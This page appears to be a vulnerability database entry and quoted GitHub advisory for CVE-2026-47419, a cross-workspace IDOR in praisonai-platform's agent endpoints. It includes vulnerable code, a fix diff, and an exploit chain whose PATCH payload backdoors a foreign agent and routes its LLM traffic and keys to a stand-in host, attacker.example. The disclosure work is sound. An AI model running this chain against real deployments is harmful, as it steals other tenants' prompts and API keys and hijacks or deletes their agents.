CVE-2026-47419: praisonai-platform Agent Endpoints Accept Any Agent_id Vulnerability

HIGH
Advisory Identifier: GHSA-7p8g-6c6g-h9w7
CVSS 8.3
CWE-639
Published
Advisory Summary

CVE-2026-47419 is a HIGH (CVSS 8.3) agent endpoints accept any agent_id vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting praisonai-platform libraries in the PyPI ecosystem. The issue involves agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete idor. Remediation is available by upgrading affected packages to version 0.1.4.

CVE-2026-47419 at a Glance

CVE Identifier CVE-2026-47419
GHSA Identifier GHSA-7p8g-6c6g-h9w7
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product praisonai-platform
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-47419

To remediate this vulnerability, upgrade all affected praisonai-platform dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai-platform fixed: 0.1.4
pip install praisonai-platform>=0.1.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai-platform

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-47419, inspect your installed packages using pip:

pip show praisonai-platform

Analyze the terminal output to locate any version of praisonai-platform in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.4), your application is affected.

Note: The pip show praisonai-platform command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In praisonai-platform, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary **Type:** Insecure Direct Object Reference. The agent CRUD endpoints (`GET / PATCH / DELETE /workspaces/{workspace_id}/agents/{agent_id}`) gate access on `require_workspace_member(workspace_id)` only, then resolve `agent_id` through `AgentService.get(agent_id)` which is a primary-key lookup with no workspace constraint. A user who is a member of any workspace `W1` can read, modify, or delete agents that belong to a different workspace `W2` by guessing or harvesting an agent UUID and calling `…/workspaces/W1/agents/<W2-agent-id>`. **File:** `src/praisonai-platform/praisonai_platform/services/agent_service.py`, lines 53-112; route handlers at `src/praisonai-platform/praisonai_platform/api/routes/agents.py`, lines 53-100. **Root cause:** the route extracts `workspace_id` from the URL path and passes it to `require_workspace_member` for the membership check, but never threads it through to the service layer. `AgentService.get` calls `session.get(Agent, agent_id)`, which is `SELECT * FROM agents WHERE id = :agent_id` with no `AND workspace_id = :workspace_id`. `update` and `delete` call `self.get(agent_id)` first and then mutate the returned row, inheriting the same gap. The `MemberService` is the one place in this codebase that does this correctly: it uses `(workspace_id, user_id)` as a composite key. The agent service simply forgot the second predicate, which is the textbook GHSA pattern for FastAPI services that treat routing parameters as decorative rather than authoritative. ## Affected Code **File 1:** `src/praisonai-platform/praisonai_platform/services/agent_service.py`, lines 53-55 and 105-112. ```python class AgentService: ... async def get(self, agent_id: str) -> Optional[Agent]: """Get agent by ID.""" return await self._session.get(Agent, agent_id) # <-- BUG: no workspace_id predicate async def update( self, agent_id: str, name: Optional[str] = None, ... ) -> Optional[Agent]: agent = await self.get(agent_id) # <-- inherits the same gap if agent is None: return None ... return agent async def delete(self, agent_id: str) -> bool: agent = await self.get(agent_id) # <-- inherits the same gap if agent is None: return False await self._session.delete(agent) await self._session.flush() return True ``` **File 2:** `src/praisonai-platform/praisonai_platform/api/routes/agents.py`, lines 53-101. ```python @router.get("/{agent_id}", response_model=AgentResponse) async def get_agent( workspace_id: str, agent_id: str, user: AuthIdentity = Depends(require_workspace_member), # only checks membership in workspace_id session: AsyncSession = Depends(get_db), ): svc = AgentService(session) agent = await svc.get(agent_id) # <-- workspace_id never passed; svc.get returns any agent in the DB if agent is None: raise HTTPException(status_code=404, detail="Agent not found") return AgentResponse.model_validate(agent) ``` The `update_agent` (lines 67-87) and `delete_agent` (lines 90-100) handlers exhibit the same pattern: they receive `workspace_id` via path parameter, use it solely for the membership gate, then call `svc.update(agent_id, ...)` / `svc.delete(agent_id)` without re-checking which workspace the agent actually belongs to. **Why it's wrong:** the `workspace_id` segment in the route is treated as a UI hint (it gates "are you in some workspace W?") rather than an authoritative predicate (it should also gate "is the resource you are addressing actually inside W?"). A standard fix in FastAPI/SQLAlchemy services is to make the resource-lookup query include the workspace predicate and treat absence as 404, so that a foreign-workspace agent is indistinguishable from a non-existent one. The codebase already does this correctly in `MemberService.get(workspace_id, user_id)` and in `*.list_for_workspace(workspace_id, ...)` — the gap is specific to the single-row `get` / `update` / `delete` paths. ## Exploit Chain 1. Attacker registers two accounts (or recruits a single workspace member) and creates two workspaces: `W_attacker` (attacker is a member) and obtains a known `agent_id` from `W_target` (a workspace the attacker is NOT a member of). Agent IDs are uuid4 strings (DB column default), but they leak through several side channels: user-list endpoints when an agent is mentioned in an issue body, the activity feed (`activity.py:log` records `entity_id=agent.id`), webhook payloads, error messages, exported issue dumps, or simply by enumeration if the deployment does not rotate IDs frequently. State: attacker holds a target agent UUID `A_T`. 2. Attacker authenticates and POSTs `Authorization: Bearer <attacker_jwt>` to `GET /workspaces/W_attacker/agents/A_T`. `require_workspace_member(W_attacker, attacker)` returns the attacker's identity (they are a member of `W_attacker`). State: control flow enters `get_agent` with `workspace_id=W_attacker`, `agent_id=A_T`. 3. `AgentService.get(A_T)` runs `session.get(Agent, "A_T")`, which is `SELECT * FROM agents WHERE id = 'A_T' LIMIT 1`. The query has no `workspace_id = 'W_attacker'` filter and returns the row — including its `instructions`, `runtime_config`, `name`, `status`, `owner_id`, etc — even though `agent.workspace_id == 'W_target'`. State: response body is the JSON-serialised target agent. 4. Attacker repeats with `PATCH /workspaces/W_attacker/agents/A_T` and a body of `{"instructions": "<malicious system prompt>", "runtime_mode": "cloud", "runtime_config": {"api_base": "https://attacker.example/v1", "api_key": "<exfil>"}}`. `update_agent` calls `svc.update(A_T, ...)` which loads the target row and mutates the listed fields. State: the foreign workspace's agent now has attacker-chosen instructions and routes its LLM traffic through `attacker.example`. 5. Attacker calls `DELETE /workspaces/W_attacker/agents/A_T` to wipe the target agent altogether, or repeats step 4 against every agent UUID they can harvest. State: target workspace's agent fleet is destroyed or backdoored. ## Security Impact **Severity:** sec-high. CVSS 8.1: network attack, low complexity, low privileges (any authenticated workspace member), no user interaction, scope unchanged (the auth context is the same component), high confidentiality (full agent record including instructions and runtime config), high integrity (arbitrary writes), low availability (DELETE wipes target agents). **Attacker capability:** with one workspace-member token plus a harvested or guessed agent UUID, an attacker can read the target agent's `instructions` (often a proprietary system prompt), `runtime_config` (frequently contains LLM provider URLs and API keys when the deployment uses BYOK), `owner_id`, and status; rewrite the same fields to redirect the agent's LLM traffic to an attacker-controlled endpoint (proxy-and-log of every prompt, prompt injection of every response); flip `status` to `error` to silently break a competitor workspace's agent fleet; or delete the agents outright. **Preconditions:** `praisonai-platform` is deployed multi-tenant (more than one workspace exists); the attacker has any membership token; the target agent's UUID is known or guessable (uuid4 randomness is large but UUIDs leak through activity feeds, webhook payloads, issue mentions, error messages, and operator screenshots). **Differential:** source-inspection-verified end-to-end. The asymmetry between `AgentService.get(agent_id)` (no workspace check) and `MemberService.get(workspace_id, user_id)` (composite key check) is the smoking gun: the same author wrote both patterns, but only the member service is tenant-safe. With the suggested fix below applied, `AgentService.get(workspace_id, agent_id)` returns `None` when the agent belongs to a different workspace, the route handler returns 404, and the foreign workspace's data is indistinguishable from a missing record. ## Suggested Fix Make every single-row resource lookup take the workspace predicate. Treat foreign-workspace rows as 404, not 200, so the endpoint does not even confirm that the target ID exists. ```diff --- a/src/praisonai-platform/praisonai_platform/services/agent_service.py +++ b/src/praisonai-platform/praisonai_platform/services/agent_service.py @@ -50,9 +50,12 @@ class AgentService: await self._session.flush() return agent - async def get(self, agent_id: str) -> Optional[Agent]: - """Get agent by ID.""" - return await self._session.get(Agent, agent_id) + async def get(self, workspace_id: str, agent_id: str) -> Optional[Agent]: + """Get agent by ID, scoped to a workspace.""" + stmt = select(Agent).where( + Agent.id == agent_id, Agent.workspace_id == workspace_id + ) + return (await self._session.execute(stmt)).scalar_one_or_none() async def list_for_workspace( self, @@ -71,6 +74,7 @@ class AgentService: async def update( self, + workspace_id: str, agent_id: str, name: Optional[str] = None, ... ) -> Optional[Agent]: - agent = await self.get(agent_id) + agent = await self.get(workspace_id, agent_id) if agent is None: return None ... - async def delete(self, agent_id: str) -> bool: + async def delete(self, workspace_id: str, agent_id: str) -> bool: - agent = await self.get(agent_id) + agent = await self.get(workspace_id, agent_id) if agent is None: return False ``` The route handlers in `routes/agents.py` then need to pass `workspace_id` into every `svc.get/update/delete` call. Repeat the pattern for `IssueService`, `ProjectService`, `CommentService`, and `LabelService`, which exhibit the same single-key lookup; those should be filed and fixed as separate advisories so each gets its own CVE.

CVE-2026-47419 Affected praisonai-platform Versions

1 component(s)
Fixed Versions:
0.1.4
Product / Package Ecosystem Affected Versions Fixed Version
praisonai-platform
PyPI
< 0.1.4
0.1.4

References

Frequently Asked Questions

What is CVE-2026-47419?
CVE-2026-47419 is a security vulnerability in praisonai-platform involving Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR under CWE-639: Authorization Bypass Through User-Controlled Key.
Which praisonai-platform versions are affected?
Affected versions include releases prior to 0.1.4 across affected packages: praisonai-platform.
What version fixes CVE-2026-47419?
Upgrading to 0.1.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai-platform affected?
Yes, praisonai-platform is affected in releases prior to 0.1.4. Upgrade your dependency to 0.1.4 or later.
What is the CVSS score of CVE-2026-47419?
CVE-2026-47419 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-47419?
CVE-2026-47419 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check PyPI dependencies for CVE-2026-47419?
Run the dependency tree command: 'pip show praisonai-platform'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7p8g-6c6g-h9w7",
  "modified" : "2026-06-05T16:28:32Z",
  "published" : "2026-06-05T16:28:32Z",
  "aliases" : [ "CVE-2026-47419" ],
  "summary" : "praisonai-platform: Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR",
  "details" : "## Summary\n\n**Type:** Insecure Direct Object Reference. The agent CRUD endpoints (`GET / PATCH / DELETE /workspaces/{workspace_id}/agents/{agent_id}`) gate access on `require_workspace_member(workspace_id)` only, then resolve `agent_id` through `AgentService.get(agent_id)` which is a primary-key lookup with no workspace constraint. A user who is a member of any workspace `W1` can read, modify, or delete agents that belong to a different workspace `W2` by guessing or harvesting an agent UUID and calling `…/workspaces/W1/agents/<W2-agent-id>`.\n**File:** `src/praisonai-platform/praisonai_platform/services/agent_service.py`, lines 53-112; route handlers at `src/praisonai-platform/praisonai_platform/api/routes/agents.py`, lines 53-100.\n**Root cause:** the route extracts `workspace_id` from the URL path and passes it to `require_workspace_member` for the membership check, but never threads it through to the service layer. `AgentService.get` calls `session.get(Agent, agent_id)`, which is `SELECT * FROM agents WHERE id = :agent_id` with no `AND workspace_id = :workspace_id`. `update` and `delete` call `self.get(agent_id)` first and then mutate the returned row, inheriting the same gap. The `MemberService` is the one place in this codebase that does this correctly: it uses `(workspace_id, user_id)` as a composite key. The agent service simply forgot the second predicate, which is the textbook GHSA pattern for FastAPI services that treat routing parameters as decorative rather than authoritative.\n\n## Affected Code\n\n**File 1:** `src/praisonai-platform/praisonai_platform/services/agent_service.py`, lines 53-55 and 105-112.\n\n```python\nclass AgentService:\n    ...\n\n    async def get(self, agent_id: str) -> Optional[Agent]:\n        \"\"\"Get agent by ID.\"\"\"\n        return await self._session.get(Agent, agent_id)            # <-- BUG: no workspace_id predicate\n\n    async def update(\n        self,\n        agent_id: str,\n        name: Optional[str] = None,\n        ...\n    ) -> Optional[Agent]:\n        agent = await self.get(agent_id)                           # <-- inherits the same gap\n        if agent is None:\n            return None\n        ...\n        return agent\n\n    async def delete(self, agent_id: str) -> bool:\n        agent = await self.get(agent_id)                           # <-- inherits the same gap\n        if agent is None:\n            return False\n        await self._session.delete(agent)\n        await self._session.flush()\n        return True\n```\n\n**File 2:** `src/praisonai-platform/praisonai_platform/api/routes/agents.py`, lines 53-101.\n\n```python\n@router.get(\"/{agent_id}\", response_model=AgentResponse)\nasync def get_agent(\n    workspace_id: str,\n    agent_id: str,\n    user: AuthIdentity = Depends(require_workspace_member),         # only checks membership in workspace_id\n    session: AsyncSession = Depends(get_db),\n):\n    svc = AgentService(session)\n    agent = await svc.get(agent_id)                                 # <-- workspace_id never passed; svc.get returns any agent in the DB\n    if agent is None:\n        raise HTTPException(status_code=404, detail=\"Agent not found\")\n    return AgentResponse.model_validate(agent)\n```\n\nThe `update_agent` (lines 67-87) and `delete_agent` (lines 90-100) handlers exhibit the same pattern: they receive `workspace_id` via path parameter, use it solely for the membership gate, then call `svc.update(agent_id, ...)` / `svc.delete(agent_id)` without re-checking which workspace the agent actually belongs to.\n\n**Why it's wrong:** the `workspace_id` segment in the route is treated as a UI hint (it gates \"are you in some workspace W?\") rather than an authoritative predicate (it should also gate \"is the resource you are addressing actually inside W?\"). A standard fix in FastAPI/SQLAlchemy services is to make the resource-lookup query include the workspace predicate and treat absence as 404, so that a foreign-workspace agent is indistinguishable from a non-existent one. The codebase already does this correctly in `MemberService.get(workspace_id, user_id)` and in `*.list_for_workspace(workspace_id, ...)` — the gap is specific to the single-row `get` / `update` / `delete` paths.\n\n## Exploit Chain\n\n1. Attacker registers two accounts (or recruits a single workspace member) and creates two workspaces: `W_attacker` (attacker is a member) and obtains a known `agent_id` from `W_target` (a workspace the attacker is NOT a member of). Agent IDs are uuid4 strings (DB column default), but they leak through several side channels: user-list endpoints when an agent is mentioned in an issue body, the activity feed (`activity.py:log` records `entity_id=agent.id`), webhook payloads, error messages, exported issue dumps, or simply by enumeration if the deployment does not rotate IDs frequently. State: attacker holds a target agent UUID `A_T`.\n2. Attacker authenticates and POSTs `Authorization: Bearer <attacker_jwt>` to `GET /workspaces/W_attacker/agents/A_T`. `require_workspace_member(W_attacker, attacker)` returns the attacker's identity (they are a member of `W_attacker`). State: control flow enters `get_agent` with `workspace_id=W_attacker`, `agent_id=A_T`.\n3. `AgentService.get(A_T)` runs `session.get(Agent, \"A_T\")`, which is `SELECT * FROM agents WHERE id = 'A_T' LIMIT 1`. The query has no `workspace_id = 'W_attacker'` filter and returns the row — including its `instructions`, `runtime_config`, `name`, `status`, `owner_id`, etc — even though `agent.workspace_id == 'W_target'`. State: response body is the JSON-serialised target agent.\n4. Attacker repeats with `PATCH /workspaces/W_attacker/agents/A_T` and a body of `{\"instructions\": \"<malicious system prompt>\", \"runtime_mode\": \"cloud\", \"runtime_config\": {\"api_base\": \"https://attacker.example/v1\", \"api_key\": \"<exfil>\"}}`. `update_agent` calls `svc.update(A_T, ...)` which loads the target row and mutates the listed fields. State: the foreign workspace's agent now has attacker-chosen instructions and routes its LLM traffic through `attacker.example`.\n5. Attacker calls `DELETE /workspaces/W_attacker/agents/A_T` to wipe the target agent altogether, or repeats step 4 against every agent UUID they can harvest. State: target workspace's agent fleet is destroyed or backdoored.\n\n## Security Impact\n\n**Severity:** sec-high. CVSS 8.1: network attack, low complexity, low privileges (any authenticated workspace member), no user interaction, scope unchanged (the auth context is the same component), high confidentiality (full agent record including instructions and runtime config), high integrity (arbitrary writes), low availability (DELETE wipes target agents).\n**Attacker capability:** with one workspace-member token plus a harvested or guessed agent UUID, an attacker can read the target agent's `instructions` (often a proprietary system prompt), `runtime_config` (frequently contains LLM provider URLs and API keys when the deployment uses BYOK), `owner_id`, and status; rewrite the same fields to redirect the agent's LLM traffic to an attacker-controlled endpoint (proxy-and-log of every prompt, prompt injection of every response); flip `status` to `error` to silently break a competitor workspace's agent fleet; or delete the agents outright.\n**Preconditions:** `praisonai-platform` is deployed multi-tenant (more than one workspace exists); the attacker has any membership token; the target agent's UUID is known or guessable (uuid4 randomness is large but UUIDs leak through activity feeds, webhook payloads, issue mentions, error messages, and operator screenshots).\n**Differential:** source-inspection-verified end-to-end. The asymmetry between `AgentService.get(agent_id)` (no workspace check) and `MemberService.get(workspace_id, user_id)` (composite key check) is the smoking gun: the same author wrote both patterns, but only the member service is tenant-safe. With the suggested fix below applied, `AgentService.get(workspace_id, agent_id)` returns `None` when the agent belongs to a different workspace, the route handler returns 404, and the foreign workspace's data is indistinguishable from a missing record.\n\n## Suggested Fix\n\nMake every single-row resource lookup take the workspace predicate. Treat foreign-workspace rows as 404, not 200, so the endpoint does not even confirm that the target ID exists.\n\n```diff\n--- a/src/praisonai-platform/praisonai_platform/services/agent_service.py\n+++ b/src/praisonai-platform/praisonai_platform/services/agent_service.py\n@@ -50,9 +50,12 @@ class AgentService:\n         await self._session.flush()\n         return agent\n\n-    async def get(self, agent_id: str) -> Optional[Agent]:\n-        \"\"\"Get agent by ID.\"\"\"\n-        return await self._session.get(Agent, agent_id)\n+    async def get(self, workspace_id: str, agent_id: str) -> Optional[Agent]:\n+        \"\"\"Get agent by ID, scoped to a workspace.\"\"\"\n+        stmt = select(Agent).where(\n+            Agent.id == agent_id, Agent.workspace_id == workspace_id\n+        )\n+        return (await self._session.execute(stmt)).scalar_one_or_none()\n\n     async def list_for_workspace(\n         self,\n@@ -71,6 +74,7 @@ class AgentService:\n\n     async def update(\n         self,\n+        workspace_id: str,\n         agent_id: str,\n         name: Optional[str] = None,\n         ...\n     ) -> Optional[Agent]:\n-        agent = await self.get(agent_id)\n+        agent = await self.get(workspace_id, agent_id)\n         if agent is None:\n             return None\n         ...\n\n-    async def delete(self, agent_id: str) -> bool:\n+    async def delete(self, workspace_id: str, agent_id: str) -> bool:\n-        agent = await self.get(agent_id)\n+        agent = await self.get(workspace_id, agent_id)\n         if agent is None:\n             return False\n```\n\nThe route handlers in `routes/agents.py` then need to pass `workspace_id` into every `svc.get/update/delete` call. Repeat the pattern for `IssueService`, `ProjectService`, `CommentService`, and `LabelService`, which exhibit the same single-key lookup; those should be filed and fixed as separate advisories so each gets its own CVE.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai-platform"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-05T16:28:32Z",
    "nvd_published_at" : null
  }
}